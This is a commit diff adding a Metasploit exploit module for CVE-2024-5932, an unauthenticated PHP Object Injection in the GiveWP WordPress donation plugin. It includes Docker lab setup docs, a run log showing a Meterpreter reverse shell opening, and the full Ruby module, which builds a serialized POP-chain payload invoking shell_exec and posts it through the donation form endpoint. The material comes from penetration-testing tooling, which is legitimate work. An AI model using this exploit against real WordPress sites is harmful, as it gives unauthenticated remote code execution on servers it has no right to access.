Land #19424, WordPress GiveWP Plugin RCE
This commit is contained in:
@@ -62,3 +62,4 @@ file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
hash-form
|
||||
give
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the
|
||||
GiveWP plugin for WordPress (versions <= 3.14.1).
|
||||
The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted
|
||||
PHP object leading to remote code execution (RCE) when combined with a suitable POP chain.
|
||||
|
||||
## Setup
|
||||
|
||||
1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment:
|
||||
|
||||
```yaml
|
||||
services:
|
||||
db:
|
||||
image: mysql:8.0.27
|
||||
command: '--default-authentication-plugin=mysql_native_password'
|
||||
restart: always
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=somewordpress
|
||||
- MYSQL_DATABASE=wordpress
|
||||
- MYSQL_USER=wordpress
|
||||
- MYSQL_PASSWORD=wordpress
|
||||
expose:
|
||||
- 3306
|
||||
- 33060
|
||||
|
||||
wordpress:
|
||||
image: wordpress:6.3.2
|
||||
ports:
|
||||
- "80:80"
|
||||
restart: always
|
||||
environment:
|
||||
- WORDPRESS_DB_HOST=db
|
||||
- WORDPRESS_DB_USER=wordpress
|
||||
- WORDPRESS_DB_PASSWORD=wordpress
|
||||
- WORDPRESS_DB_NAME=wordpress
|
||||
volumes:
|
||||
db_data:
|
||||
```
|
||||
1. Run Docker: `docker compose up`
|
||||
1. Access the WordPress instance at `http://127.0.0.1` and complete the installation process
|
||||
1. **Download and Install Vulnerable GiveWP Plugin**:
|
||||
- Download the plugin: [GiveWP 3.14.1](https://downloads.wordpress.org/plugin/give.3.14.1.zip)
|
||||
- Unzip the plugin and copy it to the Docker container:
|
||||
```bash
|
||||
docker compose cp give wordpress:/var/www/html/wp-content/plugins
|
||||
```
|
||||
- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard.
|
||||
|
||||
1. **Create a Donation Form**:
|
||||
- Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form."
|
||||
- Select any form.
|
||||
- Configure the form as needed, publish it.
|
||||
|
||||
## Options
|
||||
|
||||
No specific options need to be configured.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`.
|
||||
2. Use the module with `use exploit/multi/http/wp_givewp_rce`.
|
||||
3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options.
|
||||
4. Run the exploit.
|
||||
5. Gain a Meterpreter session.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.3.2)
|
||||
|
||||
Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:
|
||||
|
||||
```bash
|
||||
msf6 > use exploit/multi/http/wp_givewp_rce
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] WordPress Version: 6.3.2
|
||||
[+] Detected GiveWP Plugin version: 3.14.1
|
||||
[+] The target appears to be vulnerable.
|
||||
[+] Successfully retrieved form list. Available Form IDs: 8, 10, 13
|
||||
[*] Using Form ID: 13 for exploitation.
|
||||
[*] Sending stage (3045380 bytes) to 172.24.0.3
|
||||
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.24.0.3:51272) at 2024-08-27 22:11:22 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.24.0.3
|
||||
OS : Debian 11.8 (Linux 5.15.0-119-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,171 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GiveWP Unauthenticated Donation Process Exploit',
|
||||
'Description' => %q{
|
||||
The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution.
|
||||
},
|
||||
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Villu Orav', # Initial Discovery
|
||||
'EQSTSeminar', # Proof of Concept
|
||||
'Julien Ahrens', # Vulnerability Analysis
|
||||
'Valentin Lobstein' # Metasploit Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2024-5932'],
|
||||
['URL', 'https://github.com/EQSTSeminar/CVE-2024-5932'],
|
||||
['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'],
|
||||
['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin']
|
||||
],
|
||||
'DisclosureDate' => '2024-08-25',
|
||||
'Platform' => %w[unix linux win],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix/Linux Command Shell',
|
||||
{
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD
|
||||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command Shell',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD
|
||||
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Unknown unless wordpress_and_online?
|
||||
|
||||
print_status("WordPress Version: #{wordpress_version}") if wordpress_version
|
||||
check_code = check_plugin_version_from_readme('give', '3.14.2')
|
||||
return CheckCode::Safe unless check_code.code == 'appears'
|
||||
|
||||
print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}")
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
forms = fetch_form_list
|
||||
fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty?
|
||||
|
||||
selected_form = forms.sample
|
||||
valid_form = retrieve_and_analyze_form(selected_form['id'])
|
||||
|
||||
return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form
|
||||
|
||||
print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.")
|
||||
send_exploit_request(
|
||||
valid_form['give_form_id'],
|
||||
valid_form['give_form_hash'],
|
||||
valid_form['give_price_id'],
|
||||
valid_form['give_amount']
|
||||
)
|
||||
end
|
||||
|
||||
def fetch_form_list
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
||||
'data' => 'action=give_form_search'
|
||||
)
|
||||
|
||||
return print_error('Failed to retrieve form list.') unless res&.code == 200
|
||||
|
||||
forms = JSON.parse(res.body)
|
||||
form_ids = forms.map { |form| form['id'] }.sort
|
||||
|
||||
print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}")
|
||||
forms
|
||||
end
|
||||
|
||||
def retrieve_and_analyze_form(form_id)
|
||||
form_res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
||||
'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }
|
||||
)
|
||||
|
||||
return unless form_res&.code == 200
|
||||
|
||||
form_data = JSON.parse(form_res.body)
|
||||
give_form_id = form_id
|
||||
give_form_hash = form_data['data']
|
||||
give_price_id = '0'
|
||||
give_amount = '$10.00'
|
||||
# Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.
|
||||
|
||||
return unless give_form_hash
|
||||
|
||||
{
|
||||
'give_form_id' => give_form_id,
|
||||
'give_form_hash' => give_form_hash,
|
||||
'give_price_id' => give_price_id,
|
||||
'give_amount' => give_amount
|
||||
}
|
||||
end
|
||||
|
||||
def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)
|
||||
final_payload = format(
|
||||
'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \
|
||||
'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \
|
||||
's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \
|
||||
'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \
|
||||
's:10:"shell_exec";s:12:"\\0*\\0generator";' \
|
||||
'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \
|
||||
's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%<length>d:"%<encoded>s";}}' \
|
||||
's:13:"\\0*\\0maxRetries";i:10;}}}}}}',
|
||||
length: payload.encoded.length,
|
||||
encoded: payload.encoded
|
||||
)
|
||||
|
||||
data = {
|
||||
'give-form-id' => give_form_id,
|
||||
'give-form-hash' => give_form_hash,
|
||||
'give-price-id' => give_price_id,
|
||||
'give-amount' => give_amount,
|
||||
'give_first' => Faker::Name.first_name,
|
||||
'give_last' => Faker::Name.last_name,
|
||||
'give_email' => Faker::Internet.email,
|
||||
'give_title' => final_payload,
|
||||
'give-gateway' => 'offline',
|
||||
'action' => 'give_process_donation'
|
||||
}
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
|
||||
'data' => URI.encode_www_form(data)
|
||||
}, 0)
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user